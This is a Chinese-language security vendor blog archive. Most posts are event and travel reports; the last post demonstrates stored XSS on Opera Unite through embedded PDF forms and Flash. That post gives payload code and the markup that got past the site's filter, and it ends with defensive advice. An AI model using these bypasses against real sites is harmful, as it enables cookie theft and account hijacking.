阿碼外傳－阿碼科技非官方中文 Blog

源碼檢測工具，怎麼比？美國國家標準局有研究：NIST SATE 2009 (源碼檢測工具研討會)

2009-11-09T17:46:00.024+08:00

十一月初阿碼科技獲邀參加由美國國防部(DOD)、國土安全部(DHS)、美國國家標準局(NIST)所舉辦的SATE 2009 (Static Analysis Tool Exposition，源碼檢測工具研討會)發表演說。

SATE 2009 源碼檢測工具研討會是美國Build Security In ("內建安全")與Software Assurance (軟體保證)計畫中的重點工作。

大會主席Paul致詞為研討會揭開序幕

阿碼科技發表「Addressing Software Security through Automated Static Analysis (以自動靜態源碼分析落實軟體安全之實務經驗分享」為題的演說

演講後回答問題，包括近一步說明 CodeSecure 如何呈現弱點追蹤(Traceback)、醒目語法提示的重要性、以及政府機關如何善用源碼檢測報告。

大會場地在靠近美國首都華府附近的一個小城市:維吉尼亞州Arlington(阿靈頓)的Crystal City (水晶市)，緊鄰美國國防部所在的Pentagon City(五角大廈市)，也正是此次公司所安排下榻飯店的位置，交通十分方便。

DC附近戒備深嚴

行前上網查詢發現研討會所在的飯店附近的停車費用一天要二十多元美金，但搭乘地鐵過去則只需要幾塊，因此一早七點半搭乘地鐵前往會場，一站就到達水晶市，之後沿著地下通道的大街小巷路牌指示，經過各式各樣的商店，居然就步行至會場，完全不需要離開地鐵站回到"路面上"!

SATE 2009真是一個匯集軟體安全領域先進、前輩、專家的會場，有好幾位過去在OWASP會議就結識的老朋友，像是來自NIST在軟體驗證、正規方法有諸多研究的Paul和Vadim，也有久仰的多位大師級人物包括C語言的Robert、JAVA語言的馬里蘭大學教授Bill，美國NSA (國家安全局)的高手，以及許多也對自動源碼檢測有高度興趣的同好，和各同業代表(Coverity、Klocwork、Veracode、GrammaTech、LDRA)等等。

在阿碼科技的簡報中，我們分享源碼檢測在SDLC中的實務經驗，以及討論此次SATE評比的結果，很可惜我們目前仍無法擅自對外揭露評比結果，即使是我們自己工具的數據，這裡面有很多有趣的觀察與發現。

與會成員討論非常多的數據，辯論很多觀念，也激盪出許多想法，此次SATE 2009源碼檢測工具研討會的主要目標(與成果):
1) 如何評估源碼檢測工具? (這對使用者是非常重要的)
2) 如何改善源碼檢測工具? (這對工具廠商是非常重要的)
3) 如何善用源碼檢測工具? (這對使用者和工具廠商都是非常重要的)

關於1): 市場成熟了，但工具成熟了嗎?廠商會大聲地說YES，但使用者要如何確認? 譬如，在評估的過程中，一個關鍵因素就是誤報率。不同的使用者是否清楚不同角色所認定的誤報? 不同角色(開發人員、QA測試人員、內部稽核人員、外部稽核人員、驗收人員、一般使用者)對於同樣的"弱點"會有不同的"價值觀"，說穿了弱點是非常主觀的，在這些定義上要有一致的共識與標準，如此才能有效評估一個甚至多個工具是否能為企業與使用者帶來高效益的價值。

最重要的是，我們發現這樣的交流、互動平台不僅對整個軟體安全產業是正面的，對一般社會大眾在了解與熟悉源碼檢測工具有極大助益。在過去源碼檢測這塊是大眾比較陌生的，但我們可以看到這幾年不論是產官學或一般社會大眾，大家都認為資安是非常重要的議題，也是目前越來越困擾的嚴重問題。全球近年在推動軟體安全已逐漸有追根究柢、及早治本解決的趨勢，包括美國政府率先在推動的Build Security In ("內建安全")與Software Assurance (軟體保證)計畫，強調安全是從內至外、從頭到尾重視、要求、落實，以及驗證。在這樣的過程中，自動化工具與源碼檢測分析技術的成熟與否是解決整體軟體安全問題非常關鍵的面向之一。

NIST將在2010年3月左右發表此次全球源碼檢測工具評比的完整報告。

作者 Dr. Benson Wu 為阿碼科技產品線總監

阿碼科技與印度軟體巨擘 (下): 比生活更振奮人心的工作環境

2009-11-09T00:25:00.000+08:00

接續我們在九月份的文章:阿碼科技與印度軟體巨擘 (上): 技術是無國界的共通語言。

走訪這些軟體巨擘的園區，阿碼同仁均有恍如置身印度世外桃源的錯覺。總是帶我們餐後散個步的Infosys資安主管，鉅細靡遺地向我們介紹著佔地達八十畝園區內的一點一滴，一草一木。

園區內有兩萬兩千多名員工，雖沒有規定的制服，但星期一到星期四都必須著正式服裝，男士要打領帶女士穿傳統印度服裝，僅有周五可以穿著像是POLO衫之類的休閒服!上班時間為上午八點半到下午五點半，午後三點左右大夥都會休息一下出去走走。想抽煙的人趁這時候趕緊集中到規定的涼亭去抽上幾根。

大部分的人則陸續前往用下午茶，喜好美式咖啡的會到Coffee Day，在印度這招牌比星巴客還響亮。

喜好本地風味的就到食堂來一杯裝在小不銹鋼杯中熱騰燙手的印度咖啡，僅要價四盧比(台幣三塊左右!)。

又或者到Amul吃各種形形色色的甜點，陽光普照、綠意盎然、微風徐徐，這樣的下午茶真可謂悠哉之至。

由於園區頗大，裡面備有數千輛的自行車，隨牽隨騎，一般來說這樣的設計不禁令人擔心會上演我們在賣場看到四處置放的手推車亂象，結果這幾千輛自行車在Infosys的園區內是井然有序的，行進時在四線道路上有人車分隔的線，而各大樓的定點亦劃有自行車停車區，這樣的公德心就蠻令人佩服的。

這兩週有空閒時騎著自行車逛著園區，隨處都是修剪平整、綠的發亮的草皮，而五顏六色、品種各異的花草植物圍繞著多達四十五幢的建築物，更不時看到壯觀的大樹:有整排的竹林、有整排的棕梠、有高聳擎天的「神木」。

細看每棟建築物，風格爭奇鬥艷、各不相同

巨蛋體育館造型的綜合型食堂，上面兩層樓共十多家餐廳，樓下一層則是大型健身房、販賣部、書店、銀行、電信行等

金字塔般的多媒體展覽館

有Villa的游泳池

建築物之間的小橋流水、噴泉

人工湖

隱蔽在樹叢中的電話亭等造景

在在看得出Infosys於園區中投入的精心巧思。

週末時，園區內仍有不少人，原來在Infosys有非常多的社團活動，這是我們第一次這麼近距離看到印度傳統舞蹈，這些科技人不僅有著令人稱羨的工作環境，更給有自己「豐富、健康的生活品質」。

連Fyodor都被週末活躍氣氛感染，玩起隱形滑板…

Infosys同仁說，如果從天空俯瞰園區，每棟建築物看起來會像某一個英文字母，當天半夜完工返回房間立即上Google Earth瀏覽，我們在班加羅爾園區僅看到部分字母

但在鄰近城市Mysore園區果然就發現建築物巧妙地組成其企業名稱，有創意! 讚嘆!

難怪Infosys在印度已連續好幾年榮獲最令印度人嚮往的企業!

作者 Dr. Benson Wu 為阿碼科技產品總監

[No Tech] 阿碼科技於DEMO Fall 2009發佈最新掛馬檢測技術HackAlert V2

2009-09-25T03:58:00.013+08:00

在資策會的領軍之下，阿碼科技登上了DEMO的舞台，發表我們的第二代HackAlert網站掛馬檢測技術。HackAlert V2除了更準確地監控網站掛馬與網頁至換之外，更與SmartWAF配合，提供了即時修復的功能。HackAlert V2能夠準確地定位被插入的惡意元素（html、iframe、javascript等），一方面幫助網站管理者修復網站，一方面則將訊息即時地傳送給SmartWAF。收到指令後，SmartWAF會啟動即時掛馬修復功能，動態地透過修改http response，將被掛入之惡意成分移除，一方面保護網站的訪客，一方面也免於網站被列入Google或防毒廠商的黑名單當中。再加上CodeSecure可以掃瞄程式碼，幫助程式漏洞之修改，以及阿碼資安顧問團隊ASF所提供的各種服務，整個阿碼的Web資安解決方案，可說相當完整。

我們的六分鐘DEMO影片如下：

主流媒體報導：
Mashable: HackAlert: Web Apps Finally Get Secure
VentureBeat: DEMO: Armorize’s HackAlert notifies you if your web site is under attack
iThome: 阿碼科技HackAlert™ 世界肯定，受邀「全球創意DEMOfall 09」之展出
DEMO網頁上的阿碼

整個從參加資策會Ideas Show開始到DEMO，我的感覺是...「大難不死」...

怎麼說呢。不論是資策會的Ideas Show或者DEMO，都是非常棒的產品發表舞台。今年大廠如HP與Google，也都在DEMO上發表他們的新技術。DEMO的展示，因為只有六分鐘，所以內容都很精華，可以看到有些人緊張，有些人穩健，有些人背稿，有些人熱情...加上短時間內可以看到許許多多的創新，體驗創業家的那種熱忱，讓我很喜歡看DEMO的六分鐘影片。我的心得是，上場的如果是團隊的專業行銷部門，通常可以做得很流利穩健，一看就是訓練有素，一點不怕大場面。但是如果是創辦人或經營團隊親自出馬，因為不常上台，雖然會比較緊張，雖然講話比較不順，甚至有些笨拙，但是總能帶給觀眾更深切的感受。因為他們所散發出來的，是他們對於技術的熱忱，對於產品的信心，對於公司的驕傲--這種心情深深滲透在他們的血液裡頭，他們想要告訴觀眾，他們的東西有多好！這種感覺，不是專業的行銷團隊所可以訓練出來的。

去年讓我印象最深刻的DEMO團隊，後來也得了DEMOGod獎，是Plastic Logic這家公司，由CEO Richard Archuleta親自上場。Plastic Logic成立於2000年，募了超過兩億美金的資金，做的產品是電子書上用的超薄塑膠螢幕。Richard在台上蠻緊張的，DEMO中也出現一些小錯誤，但是產品真的很棒，技術門檻很高，加上大家都可以看出，他的展示中充滿了對公司的信心與驕傲，是我覺得他們得獎的主要原因。

今年得首獎的兩個團隊，一個是做MS Outlook外掛，來自澳洲的Liaise，另一個則是做超薄塑膠喇叭的EMO Labs--兩家公司做的都跟Web沒有直接關係。我看完EMO Labs的展示，就直接認為，今年他們一定拿獎！EMO Labs也是由CEO Jason Carlson親自上場，講得很慢，但是表達得很清楚：現在螢幕越做越薄，沒有空間能夠置入好的喇叭系統，成為目前超薄顯示系統的最大弱點。EMO Labs能夠用透明的塑膠材質，做出雙聲道的喇叭，直接黏在螢幕前面，不佔任何空間，而效果又好：

Jason忙著介紹公司的產品與技術，甚至往了介紹自己的名字，讓記者急著詢問，台上到底是誰？

阿碼這次一路從資策會IDEAS Show，參加到DEMO，可以說非常辛苦。困難之一，是這種產品平台上發表的東西，都很炫。可是要把資安的東西，對著台下都不是資安領域的聽眾，講得很炫，真的是一件很不容易的事。阿碼的核心技術，首推源碼檢測；從2003年寫的論文，一路做到現在，演算法也不知演進了多少代了，現在所用的資料結構與演算法，實在非常漂亮，可是，我們已經幾年沒有在台上講過這些技術了。這些東西講起來就是一堆演算法，畫一堆graph，然後推複雜度（complexity）；不要說一般聽眾，就連資安專家，可能有興趣的也不多。講應用面呢？在一堆密密麻麻的程式碼中跳來跳去，解釋我們用什麼演算法來掃到什麼樣的複雜漏洞...除非台下對於資安與程式設計都有基礎，不然也是很難有效果。也許這就是源碼檢測團隊的宿命吧！永遠只能在一個很小的圈子中，才能因技術的分享而產生興奮的火花。

這也是為什麼，對於我們公開的演講或這類的展示平台，我們都盡量以HackAlert為主。當然還是遠不如超薄塑膠螢幕或塑膠喇叭所能帶來的驚奇，但是至少網站掛馬還是跟一般人有些關係，大家聽了比較有感覺。

困難之二，是我們大家都身兼數職，大家真的是騰不出時間來準備與練習。拿我來說吧，DEMO創辦人Chris Shipley應資策會邀請來到台灣，也約了我們碰面，我是創辦人兼CEO，理當去赴約，可是我實在太忙，公司大小事情堆積如山，每個小時對我都很重要，實在無法抽身，只好請創辦人兼COO兼CFO的Matt，以及Sales Director Volker與她碰面，並參與IDEAS Show的準備與上台工作。

結果雖然我們得了獎，也受到了DEMO的邀請，可是大家都說，實在沒空去。經過協調，只好請John代替需要全心投入歐洲市場開發的Volker，並還是請Matt與創辦人兼CTO的Walter上場。John來自加拿大，目前全家都在台灣，他在資安界做了近20年，除了擁有CISSP等證照，也是ISC2（發行CISSP的組織）與SANS的顧問，由資安經驗豐富的他出馬，幫我們重新設計展示內容與寫演講稿。

準備期間，資策會IDEAS Show的許多同仁，一路輔導我們，讓我們充分體驗了他們在這方面的經驗與專業。我們是第一次參加DEMO，他們則是經驗豐富，在他們的指導下，我們的演講可說是翻了又翻，改了又改，一直到上飛機的前幾天。整個過程中，我可以說是提心吊膽到了極點。因為我知道一個資策會不知道的秘密：他們眼前的這三個人，排演一結束，就會開始接電話，開會，Walter甚至還要顧HackAlert的技術部分，一次彩排完，我看過幾個小時，他們就什麼都不記得了，這是要如何上台？

日子過得很快，一下子這票人就到了聖地牙哥了，結果一到旅館，果然不出我所料，Walter立刻被台灣的研發團隊纏上，Matt也是電話講不完...輪到他們上台預演時，大家是拿稿子上去唸的...當然，看到其他隊伍似乎都準備充分，他們比我更緊張，於是我發了一封email給全公司，接下來一天，大家不准打給Matt或Walter，有事只能寫email。然後我說，我們上台前的CEO晚宴，說明會，開幕等，都交給同事Orion處理，Orion是美國人，他會弄得很好，要上台的三人，不准出門，趕快練！

DEMO開始了，我們是下午第一家，我晚上開始從台灣看網路上的現場轉播，一連幾家公司都出現網路問題，大會主席Chris Shipley也出面說，會場頻寬不夠，希望在場的大家不要連接現場轉播，會吃去頻寬。DEMO限定一定要live的DEMO，不能用錄影的，也不能用投影片。可是一旦現場頻寬不穩，狀況就會慘不忍睹。Chris雖然有答應受影響的團隊可以重來，可是，誰希望重來呢？於是我立刻與Walter聯絡，Walter說，他不怕，叫我不用緊張，他有多個方案，一站上台的前十秒，他會先測試，決定哪個方案後，會跟團隊打pass。

輪到他們上台時，台灣凌晨五點多，我在電腦前看著轉播，那六分鐘之間，我真的是緊張到忘記要呼吸。DEMO的網站上，實況轉播旁邊就是twitter上有關活動大家的看法。我們的DEMO進行到一半時，我發現，大家真的都很喜歡我們的DEMO！

其中兩個tweet真是讓人振奮：

「How these guys made security interesting, dont' know, but they did. Great job HackAlert- Armorize.com」（這些人如何讓資安變有趣的，不知道，但是他們做到了。做得好，HackAlert）
「Why do the security companies have the best presentations?」（怎麼最好的展示都是資安公司？）

從頭到尾，他們演出完美，沒有讓公司漏氣，更重要的是，在這個台灣軟體業邁向國際的接力賽中，我們沒有掉棒，我們盡力做到能力所及之最佳水準，沒有對不起前輩，也沒有讓資策會的長官失望。看著他們的展示，不但心裡幫他們驕傲，也幫台灣所有的同仁驕傲。四年前，我們有的不過是很多的論文，都寫在紙上；四年後，我們在DEMO上展示的CodeSecure與HackAlert，看起來是那麼的成熟，那麼的專業，我們舉出的指標性客戶，遍及全球，並都是最大的客戶。

最近，如何訓練新人，是團隊中常被提起討論的議題。看著他們的討論，想到四年前他們青澀的模樣，當時他們雖然技術好，但是缺乏經營的經驗。四年之後的他們早成了公司的棟梁，是源碼檢測與惡意程式的專家，仔細地設計出公司的各種流程與組織架構，用心地幫公司想未來。究竟是什麼樣的運氣，讓我們大家能相遇，讓阿碼能有這樣的團隊，我也想不懂。但是，恭喜大家，你們的努力，成果不凡！也再次謝謝資策會、研考會、技服中心、軟協等指導單位在各方面給阿碼的幫忙，我們會繼續努力，很高興在台灣的軟體界邁向國際的路上，我們能夠參與其中！

作者Wayne為阿碼科技一員

阿碼科技與印度軟體巨擘 (上): 技術是無國界的共通語言

2009-09-19T23:42:00.021+08:00

印度，我們又來了。
H1N1的流行，讓常要出差的我們，心裡蒙上了一層不安。但是這次除了老同事 Jordan Forssman 外，第一次與我之前台大電機的博班學弟--來自俄國的同事 Fyodor Yarochkin，一起出差，感覺還是很高興。

阿碼來過印度好多次，新德里、孟買等地，而其中對班加羅爾(Bangalore)的印象是最好的，其有印度矽谷之美名、花園城市之美讚，加上常年25度上下的宜人氣候，平易近人的物價，源源不絕的人才，更吸引了各國軟體巨擘均進駐成立企業研發總部。這裡有IBM、Microsoft、Intel、Google、Oracle，讓人感覺置身矽谷；但同時也看到Siemens、Honeywell、Datacraft等歐洲公司，加上印度本身的InfoSys、Wipro、Tata Consultancy Services...感覺又不像矽谷...真的很特別，像是「國際版」的矽谷吧！

班加羅爾最知名的地標，近看上面寫著Government's work is God's work.
班加羅爾有不少這樣氣勢磅礡的大宅
庭園設計也十分雅致、迷人
上次阿碼過來班加羅爾是拜訪合作夥伴和潛在客戶，當時我們一行人落腳在市區三層樓高的迷你飯店，每天緊湊忙碌的行程加上市區擠得水洩不通黃土飛揚的交通狀況，往往一天的結束就是直接黏在床上睡覺補眠，隔日再戰。

此次阿碼再返班加羅爾，是為了我們一個很特別的客戶--印度軟體巨擘Infosys而來。InfoSys有著印度每個人都津津樂道的故事：七個窮創辦人，憑著250塊美金創辦了InfoSys，一路做到美國上市，年營業額超過40億美金，全球員工超過十萬，分佈於50多個國家。InfoSys致力於客戶滿意度，所以超過97%的收入都是來自於既有的客戶。由於為全球前幾大軟體公司，InfoSys對於軟體工具的評估與選擇，有專門的部門負責，還常常舉辦「工具大賽」：
「The Tools Open Challenge--May the best tool win!」（工具的公開挑戰--讓最好的工具贏吧！）
這一兩年全世界因法規要求與資安事件頻繁發生，InfoSys也相當重視在開發階段就做好程式安全。可是一個工具要通過他們的評選，非常不容易！過程中我們一步一步踏實地展現我們的技術，終於獲得對方肯定，在眾多工具當中，對方選擇了我們，於是，我們再次來到了InfoSys美麗的園區。這次我們必須將CodeSecure導入InfoSys最重要的產品線中，希望能展現我們的實力，讓客戶覺得物超所值，選對了團隊。
園區內唯一一棟有醒目企業識別名稱的建築物，裡面坐的都是C級人物
Infosys園區內有服裝限制，不准穿短褲，所以Fyodor只好把他最愛的七分褲留在家裡，穿上了長褲；Jordan有禮貌地打了領帶，我則polo衫+牛仔褲解決
此行不僅有產品導入、教育訓練、實務分享等課程，還包括討論大型軟體開發的設計、架構，以及客戶在幾套代表性大型軟體的商業邏輯(金融業解決方案)。客戶貼心地安排阿碼一行三人住在總部內的ECC招待所，包辦住宿、網路，每天有專人打掃房間，24小時供應熱水，讓阿碼同仁可以100%專心工作，也有機會體驗客戶內部各種人事物，這真是棒極了!
綠意盎然的招待所外圍
招待所的大門入口，仍是一片綠色

緊鄰著招待所的便是我們這次設備進駐、開會研討、教育訓練的工作位置。照片中夾在兩棟建築物中間的大圈圈是被戲稱為滾筒洗衣機的觀景台，而畫面中間的圓形空地是水舞噴泉。
在將近兩周的停留，阿碼與I企業共同完成下面這些主要的工作項目:
1) 阿碼說明源碼檢測流程，直接以CodeSecure平台對導入案作第一次源碼檢測
2) 由客戶的軟體架構師說明導入案(四百萬行源碼)的設計與架構 (1天)
3) 由客戶的資深軟體工程師說明此案的商業邏輯 (1天)
4) 我們一面整理與客戶團隊互動的資料，並對照源碼作確認，一面交叉比對檢測報告的結果(2天)
5) 我們針對有趣的商業邏輯問題與客戶團隊激盪適當的資安規則，並進行CodeSecure複測 (1天)
6) 實際部署導入案為真實系統，驗正確認所發現的商業邏輯問題與其他高難度的弱點(譬如破解Session) (2天)
7) CodeSecure產品教育訓練、Web網站攻防實務、安全源碼撰寫等課程 (2天)
8) 商討進一步合作事宜，聯手開疆闢土 (1天)

在此次的合作過程中，阿碼進而瞭解、激賞客戶所展現的「具體、細膩」工作方式，客戶同仁對阿碼顧問們深感興趣，有問不完的問題，我們如何踏進資安圈、如何充實資安知識與技能、如何進行資安攻防、有哪些最感興趣的領域(不侷限在資安)、對自動源碼檢測有哪些特別叮嚀、對滲透測試有哪些有趣經驗、對他們的SDLC開發流程有哪些地方希望他們改善、對I企業有什麼感想、對印度有什麼感想...這群印度同仁有非常「積極、謙卑的學習態度」，讓阿碼同仁暢所欲言，激盪出更多的Q＆A，甚至連續兩個週六他們都自動前來公司找阿碼顧問挖寶!

經過了兩週的相處之後，大家好像成了無話不談的朋友，把許多的寶貴經驗拿出來相互分享。回來後想想，我對於印度文化不能說熟，也沒有交過印度朋友。我是台灣人，同事Fyodor是俄國人，Jordan是南非人，幾個阿碼人突然跟一群印度人一起生活兩週，一起做事，一起談技術，似乎沒有過什麼格格不入的感覺，甚至忘了自己身處一個不熟悉的印度公司中，聽著印度式英文。好像只有用餐時那些到地印度口味的菜色刺激，或下班時看到的當地文化，才讓我知覺到自己的所在。我想這就是大家常說的「技術無國界」的效果吧。

作者 Dr. Benson Wu 為阿碼科技研發部產品經理

另類XSS攻擊手法：利用PDF與Flash的XSS攻擊--Opera Unite安全性第一回

2009-09-07T11:38:00.007+08:00

九月一日，Opera 10沸沸揚揚的登場了，新聞還真不少：

ITHome: Opera 10釋出　四小時下載超過20萬
ZDNet: Opera 10 正式版出爐新增Turbo加速功能
網路資訊： Opera 10正式版推出開放下載
聯合新聞網： Opera 10 全世界最快的瀏覽器

眾多報導中我最有興趣的，是Opera推出了「Opera Unite」社交平台，上面有檔案分享，部落格等等社交網路服務（SNS, Social Networking Service）功能，並由Opera 10瀏覽器直接支援，計畫藉由其瀏覽器使用者之基礎，踏入SNS與UGC（使用者產生之內容，user-generated content），也藉由SNS與UGC，反過來穩固其既有的瀏覽器社群。在 my.opera.com上，Opera Unite宣稱提供1G的免費空間，並大力推廣部落格功能。Opera Unite的部落格直接有行動版，方便行動用戶利用Opera Mini閱讀（Opera市佔率以行動市場為最高）。

新裝好的 Opera 10 瀏覽器中，也直接有功能與 Opera Unite 整合，充分展現 Opera 這次進軍 SNS 的企圖心！

PDF XSS 跨腳本攻擊測試
我最喜歡裝新的瀏覽器了，因為我的工作跟Web很有關係，任何瀏覽器在速度上的提或新功能的發展，都可能對我有幫助。當然，另一點很重要的是，新瀏覽器的安全性。安裝完Opera 10後，我順便註冊了一個Opera Unite的帳號。隨手一測，WOW，漏洞真的很多！我有時覺得自己真是有職業病，每當朋友興高采烈的跟我介紹某新網站，某新軟體，某新產品時，我腦袋總是響著各種警鈴，WOW，這個不安全，WOW，這樣子的話漏洞大了，WOW，這功能誰設計的，根本沒考慮資安...當對方興致勃勃等我回應時，我腦袋卻總轉著各種資安問題，而沒有辦法用相同程度的熱忱與興奮來回應他們...不只如此，還會手癢開始測試問題。朋友常說我有職業病，我有時候也覺得，自己真的是職業病很嚴重。

無論如何，那麼來談談一些我週末找到的漏洞吧！每次一開始找到的漏洞不外乎SQL Injection、XSS、CSRF等，可是老是講這些似乎太老套了...那麼，來介紹一下稍微「另類」的XSS攻擊--透過PDF與Flash的XSS攻擊好了！

假設我是駭客，那麼對 Opera Unite 最有效且持久的攻擊是什麼？其中之一是，我來註冊一個免費的部落格，然後貼一篇文章。Opera Unite的部落格，支援基本的HTML語法，但是會（盡可能）過濾導致資安問題的語法，例如「javascript」或「iframe」等等。假設我能找到部落格中的「預存式XSS（stored cross-site scripting」（又稱「永久型XSS（persistent cross-site scripting」），那麼只要在登入狀態而來看我文章的 Opera Unite 使用者，都會被我攻擊，自動偷到他們的cookie，或甚至讓他們自動在他們的部落格文章中，插入一樣的攻擊碼，而造成蠕蟲式的散播。

由於 Opera Unite 對於具有威脅性的語法如「javascript」或「iframe」等，做了基本的過濾，於是如果要XSS，便要嘗試繞過其過濾函式。這種過濾函式很不好寫（見「弔詭的過濾函式」），絕對有機會繞過，但是要花時間。不如我們來用PDF吧！

藉由<embed>或<object>等tag，我們可以將PDF檔案內嵌於HTML頁面中。安裝Adobe Acrobat Reader時，Acrobat Reader會順便安裝瀏覽器plugin，而在嵌入有PDF檔案的HTML頁面被瀏覽器解析時，Acrobat Reader plugin會啟動，顯示出PDF的內容。PDF檔案格式支援表單功能，在表單中，我們可以放一個「HTTP送出按鈕（HTTP Submit Button）」，當被按下時，Acrobat Reader plugin會觸發瀏覽器開啟一個URL。

OK，重點來了，這個按鈕的URL protocol handler中，支援「javascript:」這個handler。為何PDF表單中需要支援「javascript:」？我也不知道，但是之前與Adobe總部互動討論後，得到的答案是短期內Adobe並沒有計畫要拿掉這個功能。

於是，我們可以做一個PDF，含有一個表單，於表單上放置一個「HTTP送出按鈕」，並把URL設成「javascript:cookie_stealer()」，其中cookie_stealer()就是我們偷cookie的程式。我做了一個放在www.openwaves.net上，其中表單的程式碼如下：


<field xmlns="http://www.xfa.org/schema/xfa-template/2.2/" h="22.225mm" name="HTTPSubmitButton1" w="38.1mm" x="171.45mm" y="3.175mm">
  <?templateDesigner isHttpSubmitObject true?>
  <ui>
    <button/>
  </ui>
  <font typeface="Adobe Ming Std L"/>
  <caption>
    <value>
      <text>送出</text>
    </value>
    <para hAlign="center" vAlign="middle"/>
    <font size="36pt" typeface="Adobe Ming Std L"/>
  </caption>
  <border hand="right">
    <?templateDesigner StyleID apbx2?>
    <edge stroke="raised"/>
    <fill>
      <color value="212,208,200"/>
    </fill>
  </border>
  <bind match="none"/>
  <event activity="click">
    <submit format="formdata" target="javascript:alert(document.cookie);" textEncoding="UTF-8"/>
  </event>
</field>

接下來我們必須將此PDF嵌入我們在Opera Unite的頁面中。Opera Unite的部落格對於「<embed>」與「<object>」兩種tag，都有支援。我們選擇用「<object>」，因為可以很容易地讓PDF秀出來時，不要有其它周邊的工具欄（toolbar）。程式如下：


<object data='http://www.openwaves.net/armorize_cht3.pdf#scrollbar=0&toolbar=0&statusbar=0&messages=0&navpanes=0' type='application/pdf' width='100%' height='70%'></object>

整個部落格文章成品請見：「PDF XSS 跨腳本攻擊測試」，畫面如下：

經過測試，此攻擊可以在Opera、Firefox、Safari、與Google Chrome等瀏覽器上執行成功，Opera的畫面就是本篇最開始的畫面，其它瀏覽器的畫面如下：（按下可以放大）

這種攻擊，要說是誰的弱點呢？我認為算是Adobe的，因為PDF表單沒有理由要支援「javascript:」這種protocol handler--或許Adobe有他們的理由吧！不過上次回報後得到的答案是，PDF跟HTML一樣，都是屬於動態文件，因此這個為「功能」而非「弱點」，所以短期內不會拿掉。既然這樣的話，只能說，網站如果有可以讓使用者自行上傳HTML的功能，那麼是否允許「<embed>」與「<object>」等tag，需要審慎考慮。

阿碼外傳是放在Google的Blogger上，Blogger的作法則是利用javascript SOP（相同來源政策，same origin policy）與不同網域名稱來解決。Blogger的登入與管理介面是放在blogger.com上，可是實際顯示的部落格是放在armorize-cht.blogspot.com上，這樣可以達到兩種保護效果：
1. 偷到armorize-cht.blogspot.com的cookie，對於實際上管理用的blogger.com無效。
2. 由於每個部落格具有自己獨立的網域，所以即使blogspot.com有需要用到cookie，那麼偷到了armorize-cht.blogspot.com的cookie，也對於其它部落格無效。

這是很好的作法，因為要過濾HTML中的惡意字串，其實不是一件容易的事（見「弔詭的過濾函式」）。

Opera Unite的架構則不一樣，拿我註冊的測試帳號來說，部落格網址為：http://my.opera.com/armorize/blog，也就是說，每個人的部落格網址就是：http://my.opera.com/帳號/blog。如果是這樣的話，偷到別人的cookie，很可能整個Opera Unite（my.opera.com）的身份就可以盜用了。

所以，相較於 Opera Unite 努力parse使用者上傳的HTML，試圖保衛安全性，過濾惡意的元素，blogger則比較少。例如blooger對於「<embed>」與「<object>」等tag，幾乎是不太過濾，反正偷了cookie也只是blogspot.com的cookie而已。當然cookie也有path機制可以利用，可是根據實際經驗，效果並不好，見以下「小結」中之討論。

（題外話，可是我試過，可以偷共同作者的cookie。因為blogger.com的管理介面，有預覽功能，所以我寫一篇，請其它作者幫我「改錯或檢查」，就可以偷到其它作者的cookie。）

Flash XSS 跨腳本攻擊測試

上述的PDF XSS 跨腳本攻擊法，威脅是，很多網站不知道可以這樣攻擊，所以不會限制PDF的嵌入。另外，Adobe的PDF是很流行的檔案格式，很多使用者都有裝Acrobat Reader，所以攻擊面可以很廣。可是缺點是，需要按一下按鈕才能觸發攻擊。當然，這個可以改，不過以後再寫了。現在，我們要一個更簡單的方式，最好對方一來我的部落格就中了XSS，那要如何做呢？我們可以利用另外一個安裝率可能更高的瀏覽器plugin：Adobe Flash。Flash中可以寫ActionScript，而getURL()這個函式，可以驅動瀏覽器前往某個URL，並且...對的，也支援「javascript:」protocol handler。Flash的這個功能，我看是更難拿掉了，因為很多的Flash程式，都是利用這個功能來彈出對話盒的（getURL("javascript:alert("xxx");"）。

我做了一個flash的XSS攻擊程式，裡頭只有一行：「javascript:」protocol handler


onClipEvent (load) {
  getURL("javascript:alert(document.cookie);"); 
}

我先將這個檔案放到www.openwaves.net上，然後新增一篇部落格，利用「<embed>」tag來嵌入此flash。但是Flash的保護畢竟比PDF多。在嵌入Flash時，要加註「allowscriptaccess」參數為「always」，不然「javascript:」protocol handler會被擋掉。allowscriptaccess從Flash 6就有了，Flash 7開始，如果沒有加註，則內定值為「sameDomain」。由於我們的flash攻擊程式不是放在my.opera.com上，所以我們必須將此值設定為「always」：


<EMBED href="http://www.openwaves.net/flash_xss.swf" TYPE="application/x-shockwave-flash" allowscriptaccess="always"></EMBED>

發佈部落格後，攻擊不成功，「view source」一看，原來Opera Unite認識「allowscriptaccess」，並把我們寫的「always」改成了「never」：


<embed href="http://www.openwaves.net/flash_xss.swf" type="application/x-shockwave-flash" allowscriptaccess="never">

恩，不錯，至少有基本的防禦力，那麼與其測試是否能繞過過濾函式，不如找其它的方法。我們試試「<object>」吧：


<object data='http://www.openwaves.net/flash_xss.swf' type='application/x-shockwave-flash' width='1' height='1'><param name="allowscriptaccess" value="always"></object>

結果Opera Unite並不檢查「<object>」tag中的「allowscriptaccess」值，就這樣讓我們的攻擊成功了。攻擊的部落格在：「Flash XSS 跨腳本攻擊測試」，畫面上沒有痕跡，也不需要對方按什麼地方，只要瀏覽，就可以偷cookie了。一樣，在Firefox、Opera、Safari、與Google Chrome上都能成功。

防禦方式

這邊示範了利用Adobe的兩個廣為使用的瀏覽器plugin--PDF與Flash，以Opera Unite為例，展試了如何達成XSS攻擊。這種漏洞算誰的責任？網站管理者沒有能力影響到廠商（Adobe）要如何設計他們的瀏覽器plugin，而大家卻都有安裝。PDF為何要支援「javascript:」protocol handler？我們無法知道。在這種模糊地帶，網站開發者只有自己採取錯失避免此類攻擊。過濾使用者上傳的HTML是一個方法，但是正確的過濾函式不容易撰寫。

對於利用XSS偷cookie的攻擊，另一個方法則是blogger所採用的，a)將管理平台與內容平台分開，與b)讓每一個使用者內容有其獨立的網域（user_name.blogspot.com），而非讓全部使用者的部落格都在同一網域下，例如my.opera.com。當然，cookie可有path的限制可以利用，但是事實上，單一網域的網站架構，到最後都很少利用到cookie path來限制cookie的有效範圍，Opera Unite也不例外：

SNS平台吸引人之處，就是其豐富的user-generated content；然而有效處理使用者上傳的資料並做好正確的過濾，一直都是一個很大的挑戰。針對PDF與Flash的XSS攻擊，網站開發者必須特別注意使用者上傳內容中內嵌的PDF、Flash或其它可以存取到DOM（document object model）元素的檔案。

